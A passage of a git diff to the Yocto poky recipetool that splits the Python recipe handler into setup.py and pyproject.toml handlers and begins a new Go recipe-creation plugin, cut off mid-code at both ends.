+ deps -= provides
+
+ return deps
+
+ def parse_pkgdata_for_python_packages(self):
+ pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
+
+ ldata = tinfoil.config_data.createCopy()
+ bb.parse.handle('classes-recipe/python3-dir.bbclass', ldata, True)
+ python_sitedir = ldata.getVar('PYTHON_SITEPACKAGES_DIR')
+
+ dynload_dir = os.path.join(os.path.dirname(python_sitedir), 'lib-dynload')
+ python_dirs = [python_sitedir + os.sep,
+ os.path.join(os.path.dirname(python_sitedir), 'dist-packages') + os.sep,
+ os.path.dirname(python_sitedir) + os.sep]
+ packages = {}
+ for pkgdatafile in glob.glob('{}/runtime/*'.format(pkgdata_dir)):
+ files_info = None
+ with open(pkgdatafile, 'r') as f:
+ for line in f.readlines():
+ field, value = line.split(': ', 1)
+ if field.startswith('FILES_INFO'):
+ files_info = ast.literal_eval(value)
+ break
+ else:
+ continue
+
+ for fn in files_info:
+ for suffix in importlib.machinery.all_suffixes():
+ if fn.endswith(suffix):
+ break
+ else:
+ continue
+
+ if fn.startswith(dynload_dir + os.sep):
+ if '/.debug/' in fn:
+ continue
+ base = os.path.basename(fn)
+ provided = base.split('.', 1)[0]
+ packages[provided] = os.path.basename(pkgdatafile)
+ continue
+
+ for python_dir in python_dirs:
+ if fn.startswith(python_dir):
+ relpath = fn[len(python_dir):]
+ relstart, _, relremaining = relpath.partition(os.sep)
+ if relstart.endswith('.egg'):
+ relpath = relremaining
+ base, _ = os.path.splitext(relpath)
+
+ if '/.debug/' in base:
+ continue
+ if os.path.basename(base) == '__init__':
+ base = os.path.dirname(base)
+ base = base.replace(os.sep + os.sep, os.sep)
+ provided = base.replace(os.sep, '.')
+ packages[provided] = os.path.basename(pkgdatafile)
+ return packages
+
+ @classmethod
+ def run_command(cls, cmd, **popenargs):
+ if 'stderr' not in popenargs:
+ popenargs['stderr'] = subprocess.STDOUT
+ try:
+ return subprocess.check_output(cmd, **popenargs).decode('utf-8')
+ except OSError as exc:
+ logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc)
+ raise
+ except subprocess.CalledProcessError as exc:
+ logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc.output)
+ raise
+
+class PythonSetupPyRecipeHandler(PythonRecipeHandler):
+ bbvar_map = {
+ 'Name': 'PN',
+ 'Version': 'PV',
+ 'Home-page': 'HOMEPAGE',
+ 'Summary': 'SUMMARY',
+ 'Description': 'DESCRIPTION',
+ 'License': 'LICENSE',
+ 'Requires': 'RDEPENDS:${PN}',
+ 'Provides': 'RPROVIDES:${PN}',
+ 'Obsoletes': 'RREPLACES:${PN}',
+ }
+ # PN/PV are already set by recipetool core & desc can be extremely long
+ excluded_fields = [
+ 'Description',
+ ]
+ setup_parse_map = {
+ 'Url': 'Home-page',
+ 'Classifiers': 'Classifier',
+ 'Description': 'Summary',
+ }
+ setuparg_map = {
+ 'Home-page': 'url',
+ 'Classifier': 'classifiers',
+ 'Summary': 'description',
+ 'Description': 'long-description',
+ }
+ # Values which are lists, used by the setup.py argument based metadata
+ # extraction method, to determine how to process the setup.py output.
+ setuparg_list_fields = [
+ 'Classifier',
+ 'Requires',
+ 'Provides',
+ 'Obsoletes',
+ 'Platform',
+ 'Supported-Platform',
+ ]
+ setuparg_multi_line_values = ['Description']
+
+ replacements = [
+ ('License', r' +$', ''),
+ ('License', r'^ +', ''),
+ ('License', r' ', '-'),
+ ('License', r'^GNU-', ''),
+ ('License', r'-[Ll]icen[cs]e(,?-[Vv]ersion)?', ''),
+ ('License', r'^UNKNOWN$', ''),
+
+ # Remove currently unhandled version numbers from these variables
+ ('Requires', r' *\([^)]*\)', ''),
+ ('Provides', r' *\([^)]*\)', ''),
+ ('Obsoletes', r' *\([^)]*\)', ''),
+ ('Install-requires', r'^([^><= ]+).*', r'\1'),
+ ('Extras-require', r'^([^><= ]+).*', r'\1'),
+ ('Tests-require', r'^([^><= ]+).*', r'\1'),
+
+ # Remove unhandled dependency on particular features (e.g. foo[PDF])
+ ('Install-requires', r'\[[^\]]+\]$', ''),
+ ]
+
+ def __init__(self):
+ pass
+
+ def parse_setup_py(self, setupscript='./setup.py'):
+ with codecs.open(setupscript) as f:
+ info, imported_modules, non_literals, extensions = gather_setup_info(f)
+
+ def _map(key):
+ key = key.replace('_', '-')
+ key = key[0].upper() + key[1:]
+ if key in self.setup_parse_map:
+ key = self.setup_parse_map[key]
+ return key
+
+ # Naive mapping of setup() arguments to PKG-INFO field names
+ for d in [info, non_literals]:
+ for key, value in list(d.items()):
+ if key is None:
+ continue
+ new_key = _map(key)
+ if new_key != key:
+ del d[key]
+ d[new_key] = value
+
+ return info, 'setuptools' in imported_modules, non_literals, extensions
+
+ def get_setup_args_info(self, setupscript='./setup.py'):
+ cmd = ['python3', setupscript]
+ info = {}
+ keys = set(self.bbvar_map.keys())
+ keys |= set(self.setuparg_list_fields)
+ keys |= set(self.setuparg_multi_line_values)
+ grouped_keys = itertools.groupby(keys, lambda k: (k in self.setuparg_list_fields, k in self.setuparg_multi_line_values))
+ for index, keys in grouped_keys:
+ if index == (True, False):
+ # Splitlines output for each arg as a list value
+ for key in keys:
+ arg = self.setuparg_map.get(key, key.lower())
+ try:
+ arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ info[key] = [l.rstrip() for l in arg_info.splitlines()]
+ elif index == (False, True):
+ # Entire output for each arg
+ for key in keys:
+ arg = self.setuparg_map.get(key, key.lower())
+ try:
+ arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ info[key] = arg_info
+ else:
+ info.update(self.get_setup_byline(list(keys), setupscript))
+ return info
+
+ def get_setup_byline(self, fields, setupscript='./setup.py'):
+ info = {}
+
+ cmd = ['python3', setupscript]
+ cmd.extend('--' + self.setuparg_map.get(f, f.lower()) for f in fields)
+ try:
+ info_lines = self.run_command(cmd, cwd=os.path.dirname(setupscript)).splitlines()
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ if len(fields) != len(info_lines):
+ logger.error('Mismatch between setup.py output lines and number of fields')
+ sys.exit(1)
+
+ for lineno, line in enumerate(info_lines):
+ line = line.rstrip()
+ info[fields[lineno]] = line
+ return info
+
+ def get_pkginfo(self, pkginfo_fn):
+ msg = email.message_from_file(open(pkginfo_fn, 'r'))
+ msginfo = {}
+ for field in msg.keys():
+ values = msg.get_all(field)
+ if len(values) == 1:
+ msginfo[field] = values[0]
+ else:
+ msginfo[field] = values
+ return msginfo
+
+ def scan_setup_python_deps(self, srctree, setup_info, setup_non_literals):
+ if 'Package-dir' in setup_info:
+ package_dir = setup_info['Package-dir']
+ else:
+ package_dir = {}
+
+ dist = setuptools.Distribution()
+
+ class PackageDir(setuptools.command.build_py.build_py):
+ def __init__(self, package_dir):
+ self.package_dir = package_dir
+ self.dist = dist
+ super().__init__(self.dist)
+
+ pd = PackageDir(package_dir)
+ to_scan = []
+ if not any(v in setup_non_literals for v in ['Py-modules', 'Scripts', 'Packages']):
+ if 'Py-modules' in setup_info:
+ for module in setup_info['Py-modules']:
+ try:
+ package, module = module.rsplit('.', 1)
+ except ValueError:
+ package, module = '.', module
+ module_path = os.path.join(pd.get_package_dir(package), module + '.py')
+ to_scan.append(module_path)
+
+ if 'Packages' in setup_info:
+ for package in setup_info['Packages']:
+ to_scan.append(pd.get_package_dir(package))
+
+ if 'Scripts' in setup_info:
+ to_scan.extend(setup_info['Scripts'])
+ else:
+ logger.info("Scanning the entire source tree, as one or more of the following setup keywords are non-literal: py_modules, scripts, packages.")
+
+ if not to_scan:
+ to_scan = ['.']
+
+ logger.info("Scanning paths for packages & dependencies: %s", ', '.join(to_scan))
+
+ provided_packages = self.parse_pkgdata_for_python_packages()
+ scanned_deps = self.scan_python_dependencies([os.path.join(srctree, p) for p in to_scan])
+ mapped_deps, unmapped_deps = set(self.base_pkgdeps), set()
+ for dep in scanned_deps:
+ mapped = provided_packages.get(dep)
+ if mapped:
+ logger.debug('Mapped %s to %s' % (dep, mapped))
+ mapped_deps.add(mapped)
+ else:
+ logger.debug('Could not map %s' % dep)
+ unmapped_deps.add(dep)
+ return mapped_deps, unmapped_deps
+
def process(self, srctree, classes, lines_before, lines_after, handled, extravalues):
+
if 'buildsystem' in handled:
return False
@@ -254,51 +590,16 @@ class PythonRecipeHandler(RecipeHandler):
if license_str:
for i, line in enumerate(lines_before):
- if line.startswith('LICENSE = '):
+ if line.startswith('##LICENSE_PLACEHOLDER##'):
lines_before.insert(i, '# NOTE: License in setup.py/PKGINFO is: %s' % license_str)
break
if 'Classifier' in info:
- existing_licenses = info.get('License', '')
- licenses = []
- for classifier in info['Classifier']:
- if classifier in self.classifier_license_map:
- license = self.classifier_license_map[classifier]
- if license == 'Apache' and 'Apache-2.0' in existing_licenses:
- license = 'Apache-2.0'
- elif license == 'GPL':
- if 'GPL-2.0' in existing_licenses or 'GPLv2' in existing_licenses:
- license = 'GPL-2.0'
- elif 'GPL-3.0' in existing_licenses or 'GPLv3' in existing_licenses:
- license = 'GPL-3.0'
- elif license == 'LGPL':
- if 'LGPL-2.1' in existing_licenses or 'LGPLv2.1' in existing_licenses:
- license = 'LGPL-2.1'
- elif 'LGPL-2.0' in existing_licenses or 'LGPLv2' in existing_licenses:
- license = 'LGPL-2.0'
- elif 'LGPL-3.0' in existing_licenses or 'LGPLv3' in existing_licenses:
- license = 'LGPL-3.0'
- licenses.append(license)
-
- if licenses:
- info['License'] = ' & '.join(licenses)
-
- # Map PKG-INFO & setup.py fields to bitbake variables
- for field, values in info.items():
- if field in self.excluded_fields:
- continue
-
- if field not in self.bbvar_map:
- continue
+ license = self.handle_classifier_license(info['Classifier'], info.get('License', ''))
+ if license:
+ info['License'] = license
- if isinstance(values, str):
- value = values
- else:
- value = ' '.join(str(v) for v in values if v)
-
- bbvar = self.bbvar_map[field]
- if bbvar not in extravalues and value:
- extravalues[bbvar] = value
+ self.map_info_to_bbvar(info, extravalues)
mapped_deps, unmapped_deps = self.scan_setup_python_deps(srctree, setup_info, setup_non_literals)
@@ -355,278 +656,272 @@ class PythonRecipeHandler(RecipeHandler):
handled.append('buildsystem')
- def get_pkginfo(self, pkginfo_fn):
- msg = email.message_from_file(open(pkginfo_fn, 'r'))
- msginfo = {}
- for field in msg.keys():
- values = msg.get_all(field)
- if len(values) == 1:
- msginfo[field] = values[0]
- else:
- msginfo[field] = values
- return msginfo
+class PythonPyprojectTomlRecipeHandler(PythonRecipeHandler):
+ """Base class to support PEP517 and PEP518
+
+ PEP517 https://peps.python.org/pep-0517/#source-trees
+ PEP518 https://peps.python.org/pep-0518/#build-system-table
+ """
+ # bitbake currently supports the 4 following backends
+ build_backend_map = {
+ "setuptools.build_meta": "python_setuptools_build_meta",
+ "poetry.core.masonry.api": "python_poetry_core",
+ "flit_core.buildapi": "python_flit_core",
+ "hatchling.build": "python_hatchling",
+ }
- def parse_setup_py(self, setupscript='./setup.py'):
- with codecs.open(setupscript) as f:
- info, imported_modules, non_literals, extensions = gather_setup_info(f)
+ # setuptools.build_meta and flit declare project metadata into the "project" section of pyproject.toml
+ # according to PEP-621: https://packaging.python.org/en/latest/specifications/declaring-project-metadata/#declaring-project-metadata
+ # while poetry uses the "tool.poetry" section according to its official documentation: https://python-poetry.org/docs/pyproject/
+ # keys from "project" and "tool.poetry" sections are almost the same except for the HOMEPAGE which is "homepage" for tool.poetry
+ # and "Homepage" for "project" section. So keep both
+ bbvar_map = {
+ "name": "PN",
+ "version": "PV",
+ "Homepage": "HOMEPAGE",
+ "homepage": "HOMEPAGE",
+ "description": "SUMMARY",
+ "license": "LICENSE",
+ "dependencies": "RDEPENDS:${PN}",
+ "requires": "DEPENDS",
+ }
- def _map(key):
- key = key.replace('_', '-')
- key = key[0].upper() + key[1:]
- if key in self.setup_parse_map:
- key = self.setup_parse_map[key]
- return key
+ replacements = [
+ ("license", r" +$", ""),
+ ("license", r"^ +", ""),
+ ("license", r" ", "-"),
+ ("license", r"^GNU-", ""),
+ ("license", r"-[Ll]icen[cs]e(,?-[Vv]ersion)?", ""),
+ ("license", r"^UNKNOWN$", ""),
+ # Remove currently unhandled version numbers from these variables
+ ("requires", r"\[[^\]]+\]$", ""),
+ ("requires", r"^([^><= ]+).*", r"\1"),
+ ("dependencies", r"\[[^\]]+\]$", ""),
+ ("dependencies", r"^([^><= ]+).*", r"\1"),
+ ]
- # Naive mapping of setup() arguments to PKG-INFO field names
- for d in [info, non_literals]:
- for key, value in list(d.items()):
- if key is None:
- continue
- new_key = _map(key)
- if new_key != key:
- del d[key]
- d[new_key] = value
+ excluded_native_pkgdeps = [
+ # already provided by python_setuptools_build_meta.bbclass
+ "python3-setuptools-native",
+ "python3-wheel-native",
+ # already provided by python_poetry_core.bbclass
+ "python3-poetry-core-native",
+ # already provided by python_flit_core.bbclass
+ "python3-flit-core-native",
+ ]
- return info, 'setuptools' in imported_modules, non_literals, extensions
+ # add here a list of known and often used packages and the corresponding bitbake package
+ known_deps_map = {
+ "setuptools": "python3-setuptools",
+ "wheel": "python3-wheel",
+ "poetry-core": "python3-poetry-core",
+ "flit_core": "python3-flit-core",
+ "setuptools-scm": "python3-setuptools-scm",
+ "hatchling": "python3-hatchling",
+ "hatch-vcs": "python3-hatch-vcs",
+ }
- def get_setup_args_info(self, setupscript='./setup.py'):
- cmd = ['python3', setupscript]
- info = {}
- keys = set(self.bbvar_map.keys())
- keys |= set(self.setuparg_list_fields)
- keys |= set(self.setuparg_multi_line_values)
- grouped_keys = itertools.groupby(keys, lambda k: (k in self.setuparg_list_fields, k in self.setuparg_multi_line_values))
- for index, keys in grouped_keys:
- if index == (True, False):
- # Splitlines output for each arg as a list value
- for key in keys:
- arg = self.setuparg_map.get(key, key.lower())
- try:
- arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- info[key] = [l.rstrip() for l in arg_info.splitlines()]
- elif index == (False, True):
- # Entire output for each arg
- for key in keys:
- arg = self.setuparg_map.get(key, key.lower())
- try:
- arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- info[key] = arg_info
- else:
- info.update(self.get_setup_byline(list(keys), setupscript))
- return info
+ def __init__(self):
+ pass
- def get_setup_byline(self, fields, setupscript='./setup.py'):
+ def process(self, srctree, classes, lines_before, lines_after, handled, extravalues):
info = {}
- cmd = ['python3', setupscript]
- cmd.extend('--' + self.setuparg_map.get(f, f.lower()) for f in fields)
- try:
- info_lines = self.run_command(cmd, cwd=os.path.dirname(setupscript)).splitlines()
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- if len(fields) != len(info_lines):
- logger.error('Mismatch between setup.py output lines and number of fields')
- sys.exit(1)
-
- for lineno, line in enumerate(info_lines):
- line = line.rstrip()
- info[fields[lineno]] = line
- return info
-
- def apply_info_replacements(self, info):
- for variable, search, replace in self.replacements:
- if variable not in info:
- continue
-
- def replace_value(search, replace, value):
- if replace is None:
- if re.search(search, value):
- return None
- else:
- new_value = re.sub(search, replace, value)
- if value != new_value:
- return new_value
- return value
-
- value = info[variable]
- if isinstance(value, str):
- new_value = replace_value(search, replace, value)
- if new_value is None:
- del info[variable]
- elif new_value != value:
- info[variable] = new_value
- elif hasattr(value, 'items'):
- for dkey, dvalue in list(value.items()):
- new_list = []
- for pos, a_value in enumerate(dvalue):
- new_value = replace_value(search, replace, a_value)
- if new_value is not None and new_value != value:
- new_list.append(new_value)
-
- if value != new_list:
- value[dkey] = new_list
- else:
- new_list = []
- for pos, a_value in enumerate(value):
- new_value = replace_value(search, replace, a_value)
- if new_value is not None and new_value != value:
- new_list.append(new_value)
-
- if value != new_list:
- info[variable] = new_list
-
- def scan_setup_python_deps(self, srctree, setup_info, setup_non_literals):
- if 'Package-dir' in setup_info:
- package_dir = setup_info['Package-dir']
- else:
- package_dir = {}
-
- dist = setuptools.Distribution()
-
- class PackageDir(setuptools.command.build_py.build_py):
- def __init__(self, package_dir):
- self.package_dir = package_dir
- self.dist = dist
- super().__init__(self.dist)
-
- pd = PackageDir(package_dir)
- to_scan = []
- if not any(v in setup_non_literals for v in ['Py-modules', 'Scripts', 'Packages']):
- if 'Py-modules' in setup_info:
- for module in setup_info['Py-modules']:
- try:
- package, module = module.rsplit('.', 1)
- except ValueError:
- package, module = '.', module
- module_path = os.path.join(pd.get_package_dir(package), module + '.py')
- to_scan.append(module_path)
-
- if 'Packages' in setup_info:
- for package in setup_info['Packages']:
- to_scan.append(pd.get_package_dir(package))
+ if 'buildsystem' in handled:
+ return False
- if 'Scripts' in setup_info:
- to_scan.extend(setup_info['Scripts'])
+ # Check for non-zero size setup.py files
+ setupfiles = RecipeHandler.checkfiles(srctree, ["pyproject.toml"])
+ for fn in setupfiles:
+ if os.path.getsize(fn):
+ break
else:
- logger.info("Scanning the entire source tree, as one or more of the following setup keywords are non-literal: py_modules, scripts, packages.")
-
- if not to_scan:
- to_scan = ['.']
-
- logger.info("Scanning paths for packages & dependencies: %s", ', '.join(to_scan))
+ return False
- provided_packages = self.parse_pkgdata_for_python_packages()
- scanned_deps = self.scan_python_dependencies([os.path.join(srctree, p) for p in to_scan])
- mapped_deps, unmapped_deps = set(self.base_pkgdeps), set()
- for dep in scanned_deps:
- mapped = provided_packages.get(dep)
- if mapped:
- logger.debug('Mapped %s to %s' % (dep, mapped))
- mapped_deps.add(mapped)
- else:
- logger.debug('Could not map %s' % dep)
- unmapped_deps.add(dep)
- return mapped_deps, unmapped_deps
+ setupscript = os.path.join(srctree, "pyproject.toml")
- def scan_python_dependencies(self, paths):
- deps = set()
try:
- dep_output = self.run_command(['pythondeps', '-d'] + paths)
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- for line in dep_output.splitlines():
- line = line.rstrip()
- dep, filename = line.split('\t', 1)
- if filename.endswith('/setup.py'):
- continue
- deps.add(dep)
+ try:
+ import tomllib
+ except ImportError:
+ try:
+ import tomli as tomllib
+ except ImportError:
+ logger.exception("Neither 'tomllib' nor 'tomli' could be imported. Please use python3.11 or above or install tomli module")
+ return False
+ except Exception:
+ logger.exception("Failed to parse pyproject.toml")
+ return False
+
+ with open(setupscript, "rb") as f:
+ config = tomllib.load(f)
+ build_backend = config["build-system"]["build-backend"]
+ if build_backend in self.build_backend_map:
+ classes.append(self.build_backend_map[build_backend])
+ else:
+ logger.error(
+ "Unsupported build-backend: %s, cannot use pyproject.toml. Will try to use legacy setup.py"
+ % build_backend
+ )
+ return False
- try:
- provides_output = self.run_command(['pythondeps', '-p'] + paths)
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- provides_lines = (l.rstrip() for l in provides_output.splitlines())
- provides = set(l for l in provides_lines if l and l != 'setup')
- deps -= provides
+ licfile = ""
- return deps
+ if build_backend == "poetry.core.masonry.api":
+ if "tool" in config and "poetry" in config["tool"]:
+ metadata = config["tool"]["poetry"]
+ else:
+ if "project" in config:
+ metadata = config["project"]
+
+ if metadata:
+ for field, values in metadata.items():
+ if field == "license":
+ # For setuptools.build_meta and flit, licence is a table
+ # but for poetry licence is a string
+ # for hatchling, both table (jsonschema) and string (iniconfig) have been used
+ if build_backend == "poetry.core.masonry.api":
+ value = values
+ else:
+ value = values.get("text", "")
+ if not value:
+ licfile = values.get("file", "")
+ continue
+ elif field == "dependencies" and build_backend == "poetry.core.masonry.api":
+ # For poetry backend, "dependencies" section looks like:
+ # [tool.poetry.dependencies]
+ # requests = "^2.13.0"
+ # requests = { version = "^2.13.0", source = "private" }
+ # See https://python-poetry.org/docs/master/pyproject/#dependencies-and-dependency-groups for more details
+ # This class doesn't handle versions anyway, so we just get the dependencies name here and construct a list
+ value = []
+ for k in values.keys():
+ value.append(k)
+ elif isinstance(values, dict):
+ for k, v in values.items():
+ info[k] = v
+ continue
+ else:
+ value = values
- def parse_pkgdata_for_python_packages(self):
- pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
+ info[field] = value
- ldata = tinfoil.config_data.createCopy()
- bb.parse.handle('classes-recipe/python3-dir.bbclass', ldata, True)
- python_sitedir = ldata.getVar('PYTHON_SITEPACKAGES_DIR')
+ # Grab the license value before applying replacements
+ license_str = info.get("license", "").strip()
- dynload_dir = os.path.join(os.path.dirname(python_sitedir), 'lib-dynload')
- python_dirs = [python_sitedir + os.sep,
- os.path.join(os.path.dirname(python_sitedir), 'dist-packages') + os.sep,
- os.path.dirname(python_sitedir) + os.sep]
- packages = {}
- for pkgdatafile in glob.glob('{}/runtime/*'.format(pkgdata_dir)):
- files_info = None
- with open(pkgdatafile, 'r') as f:
- for line in f.readlines():
- field, value = line.split(': ', 1)
- if field.startswith('FILES_INFO'):
- files_info = ast.literal_eval(value)
+ if license_str:
+ for i, line in enumerate(lines_before):
+ if line.startswith("##LICENSE_PLACEHOLDER##"):
+ lines_before.insert(
+ i, "# NOTE: License in pyproject.toml is: %s" % license_str
+ )
break
- else:
- continue
- for fn in files_info:
- for suffix in importlib.machinery.all_suffixes():
- if fn.endswith(suffix):
- break
- else:
- continue
+ info["requires"] = config["build-system"]["requires"]
+
+ self.apply_info_replacements(info)
+
+ if "classifiers" in info:
+ license = self.handle_classifier_license(
+ info["classifiers"], info.get("license", "")
+ )
+ if license:
+ if licfile:
+ lines = []
+ md5value = bb.utils.md5_file(os.path.join(srctree, licfile))
+ lines.append('LICENSE = "%s"' % license)
+ lines.append(
+ 'LIC_FILES_CHKSUM = "file://%s;md5=%s"'
+ % (licfile, md5value)
+ )
+ lines.append("")
+
+ # Replace the placeholder so we get the values in the right place in the recipe file
+ try:
+ pos = lines_before.index("##LICENSE_PLACEHOLDER##")
+ except ValueError:
+ pos = -1
+ if pos == -1:
+ lines_before.extend(lines)
+ else:
+ lines_before[pos : pos + 1] = lines
- if fn.startswith(dynload_dir + os.sep):
- if '/.debug/' in fn:
- continue
- base = os.path.basename(fn)
- provided = base.split('.', 1)[0]
- packages[provided] = os.path.basename(pkgdatafile)
- continue
+ handled.append(("license", [license, licfile, md5value]))
+ else:
+ info["license"] = license
- for python_dir in python_dirs:
- if fn.startswith(python_dir):
- relpath = fn[len(python_dir):]
- relstart, _, relremaining = relpath.partition(os.sep)
- if relstart.endswith('.egg'):
- relpath = relremaining
- base, _ = os.path.splitext(relpath)
+ provided_packages = self.parse_pkgdata_for_python_packages()
+ provided_packages.update(self.known_deps_map)
+ native_mapped_deps, native_unmapped_deps = set(), set()
+ mapped_deps, unmapped_deps = set(), set()
- if '/.debug/' in base:
- continue
- if os.path.basename(base) == '__init__':
- base = os.path.dirname(base)
- base = base.replace(os.sep + os.sep, os.sep)
- provided = base.replace(os.sep, '.')
- packages[provided] = os.path.basename(pkgdatafile)
- return packages
+ if "requires" in info:
+ for require in info["requires"]:
+ mapped = provided_packages.get(require)
- @classmethod
- def run_command(cls, cmd, **popenargs):
- if 'stderr' not in popenargs:
- popenargs['stderr'] = subprocess.STDOUT
- try:
- return subprocess.check_output(cmd, **popenargs).decode('utf-8')
- except OSError as exc:
- logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc)
- raise
- except subprocess.CalledProcessError as exc:
- logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc.output)
- raise
+ if mapped:
+ logger.debug("Mapped %s to %s" % (require, mapped))
+ native_mapped_deps.add(mapped)
+ else:
+ logger.debug("Could not map %s" % require)
+ native_unmapped_deps.add(require)
+
+ info.pop("requires")
+
+ if native_mapped_deps != set():
+ native_mapped_deps = {
+ item + "-native" for item in native_mapped_deps
+ }
+ native_mapped_deps -= set(self.excluded_native_pkgdeps)
+ if native_mapped_deps != set():
+ info["requires"] = " ".join(sorted(native_mapped_deps))
+
+ if native_unmapped_deps:
+ lines_after.append("")
+ lines_after.append(
+ "# WARNING: We were unable to map the following python package/module"
+ )
+ lines_after.append(
+ "# dependencies to the bitbake packages which include them:"
+ )
+ lines_after.extend(
+ "# {}".format(d) for d in sorted(native_unmapped_deps)
+ )
+
+ if "dependencies" in info:
+ for dependency in info["dependencies"]:
+ mapped = provided_packages.get(dependency)
+ if mapped:
+ logger.debug("Mapped %s to %s" % (dependency, mapped))
+ mapped_deps.add(mapped)
+ else:
+ logger.debug("Could not map %s" % dependency)
+ unmapped_deps.add(dependency)
+
+ info.pop("dependencies")
+
+ if mapped_deps != set():
+ if mapped_deps != set():
+ info["dependencies"] = " ".join(sorted(mapped_deps))
+
+ if unmapped_deps:
+ lines_after.append("")
+ lines_after.append(
+ "# WARNING: We were unable to map the following python package/module"
+ )
+ lines_after.append(
+ "# runtime dependencies to the bitbake packages which include them:"
+ )
+ lines_after.extend(
+ "# {}".format(d) for d in sorted(unmapped_deps)
+ )
+
+ self.map_info_to_bbvar(info, extravalues)
+
+ handled.append("buildsystem")
+ except Exception:
+ logger.exception("Failed to correctly handle pyproject.toml, falling back to another method")
+ return False
def gather_setup_info(fileobj):
@@ -742,5 +1037,7 @@ def has_non_literals(value):
def register_recipe_handlers(handlers):
- # We need to make sure this is ahead of the makefile fallback handler
- handlers.append((PythonRecipeHandler(), 70))
+ # We need to make sure these are ahead of the makefile fallback handler
+ # and the pyproject.toml handler ahead of the setup.py handler
+ handlers.append((PythonPyprojectTomlRecipeHandler(), 75))
+ handlers.append((PythonSetupPyRecipeHandler(), 70))
diff --git a/poky/scripts/lib/recipetool/create_go.py b/poky/scripts/lib/recipetool/create_go.py
new file mode 100644
index 0000000000..21dcb41271
--- /dev/null
+++ b/poky/scripts/lib/recipetool/create_go.py
@@ -0,0 +1,751 @@
+# Recipe creation tool - go support plugin
+#
+# The code is based on golang internals. See the afftected
+# methods for further reference and information.
+#
+# Copyright (C) 2023 Weidmueller GmbH & Co KG
+# Author: Lukas Funke <lukas.funke@weidmueller.com>
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+
+from collections import namedtuple
+from enum import Enum
+from html.parser import HTMLParser
+from recipetool.create import RecipeHandler, handle_license_vars
+from recipetool.create import guess_license, tidy_licenses, fixup_license
+from recipetool.create import determine_from_url
+from urllib.error import URLError
+
+import bb.utils
+import json
+import logging
+import os
+import re
+import subprocess
+import sys
+import shutil
+import tempfile
+import urllib.parse
+import urllib.request
+
+
+GoImport = namedtuple('GoImport', 'root vcs url suffix')
+logger = logging.getLogger('recipetool')
+CodeRepo = namedtuple(
+ 'CodeRepo', 'path codeRoot codeDir pathMajor pathPrefix pseudoMajor')
+
+tinfoil = None
+
+# Regular expression to parse pseudo semantic version
+# see https://go.dev/ref/mod#pseudo-versions
+re_pseudo_semver = re.compile(
+ r"^v[0-9]+\.(0\.0-|\d+\.\d+-([^+]*\.)?0\.)(?P<utc>\d{14})-(?P<commithash>[A-Za-z0-9]+)(\+[0-9A-Za-z-]+(\.[0-9A-Za-z-]+)*)?$")
+# Regular expression to parse semantic version
+re_semver = re.compile(
+ r"^v(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$")
+
+
+def tinfoil_init(instance):
+ global tinfoil
+ tinfoil = instance
+
+
+class GoRecipeHandler(RecipeHandler):
+ """Class to handle the go recipe creation"""
+
+ @staticmethod
+ def __ensure_go():
+ """Check if the 'go' command is available in the recipes"""
+ recipe = "go-native"
+ if not tinfoil.recipes_parsed:
+ tinfoil.parse_recipes()
+ try:
+ rd = tinfoil.parse_recipe(recipe)
+ except bb.providers.NoProvider:
+ bb.error(
+ "Nothing provides '%s' which is required for the build" % (recipe))
+ bb.note(
+ "You will likely need to add a layer that provides '%s'" % (recipe))
+ return None
+
+ bindir = rd.getVar('STAGING_BINDIR_NATIVE')
+ gopath = os.path.join(bindir, 'go')
+
+ if not os.path.exists(gopath):
+ tinfoil.build_targets(recipe, 'addto_recipe_sysroot')
+
+ if not os.path.exists(gopath):
+ logger.error(
+ '%s required to process specified source, but %s did not seem to populate it' % 'go', recipe)
+ return None
+
+ return bindir
+
+ def __resolve_repository_static(self, modulepath):
+ """Resolve the repository in a static manner
+
+ The method is based on the go implementation of
+ `repoRootFromVCSPaths` in
+ https://github.com/golang/go/blob/master/src/cmd/go/internal/vcs/vcs.go
+ """
+
+ url = urllib.parse.urlparse("https://" + modulepath)
+ req = urllib.request.Request(url.geturl())
+
+ try:
+ resp = urllib.request.urlopen(req)
+ # Some modulepath are just redirects to github (or some other vcs
+ # hoster). Therefore, we check if this modulepath redirects to
+ # somewhere else
+ if resp.geturl() != url.geturl():
+ bb.debug(1, "%s is redirectred to %s" %
+ (url.geturl(), resp.geturl()))
+ url = urllib.parse.urlparse(resp.geturl())
+ modulepath = url.netloc + url.path
+
+ except URLError as url_err:
+ # This is probably because the module path
+ # contains the subdir and major path. Thus,
+ # we ignore this error for now
+ logger.debug(
+ 1, "Failed to fetch page from [%s]: %s" % (url, str(url_err)))
+
+ host, _, _ = modulepath.partition('/')
+
+ class vcs(Enum):
+ pathprefix = "pathprefix"
+ regexp = "regexp"
+ type = "type"
+ repo = "repo"
+ check = "check"
+ schemelessRepo = "schemelessRepo"
+
+ # GitHub
+ vcsGitHub = {}
+ vcsGitHub[vcs.pathprefix] = "github.com"
+ vcsGitHub[vcs.regexp] = re.compile(
